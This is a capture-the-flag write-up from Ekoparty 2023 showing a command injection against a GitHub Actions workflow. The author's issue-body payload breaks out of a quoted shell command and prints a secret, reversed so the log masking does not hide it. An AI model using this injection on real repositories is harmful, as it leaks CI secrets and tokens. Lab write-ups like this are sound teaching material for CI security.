Comments [Ekoparty 2023]

writeup by: Honesty

Challenge Description

You must solve the first challenge to get the answer, all you need is inside the Lobby.

We have access to a GitHub repository with a single README file and a GitHub action workflow.


Checking the workflow script inside .github/workflows/yearly_review.yml

name: Parse review of teacher

    types: [opened, edited]

    runs-on: ubuntu-latest
      - name: Extract Teacher name and review from issue body
        id: extract-review
          db_pass: ${{ secrets.FLAG }} # Do we still need this to write to the DB?
        run: |
          TEACHER=$(echo '${{ github.event.issue.body }}' | grep -oP 'Teacher:.*$')
          REVIEW=$(echo '${{ github.event.issue.body }}' | grep -vP 'Teacher:.*$')
          echo "::set-output name=teacher::$TEACHER"
          echo "::set-output name=review::$REVIEW"          
      - name: Comment on issue
        uses: actions/github-script@v5
          github-token: ${{secrets.GITHUB_TOKEN}}
          script: |
            const issueComment = {
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: ${{ github.event.issue.number }},
              body: `Thank you for reviewing ${'{{ steps.extract-review.outputs.teacher }}'}! Your review was: 
              ${'{{ }}'}`

Note the comment on the db_pass line, where our flag is stored.


The GitHub action above is executed for every issue created. Before running anything the environment variable db_pass is set to secrets.FLAG.

The first command in the run section uses a special construct that gives access to context properties ${{ CONTEXT.PROPERTY }}. This construct is interpolated and replaced by a string before the line is sent to the bash runner, allowing us to manipulate the commands.

TEACHER=$(echo '${{ github.event.issue.body }}' | grep -oP 'Teacher:.*$')

To exploit this, we create a special issue body that modifies the command chain and prints the variable:

Teacher: ') ; echo ${db_pass}; $(echo '

Executing this example won’t reveal the actual value of db_pass because the GitHub Action console censors the output, displaying ***. We can overcome this limitation by simply reversing the value.

Teacher: ') ; echo ${db_pass} | rev; $(echo '

This is how the final command looks like:

TEACHER=$(echo 'Teacher: ') ; echo ${db_pass} | rev; $(echo '' | grep -oP 'Teacher:.*$')

Reversing this value again gives us the flag.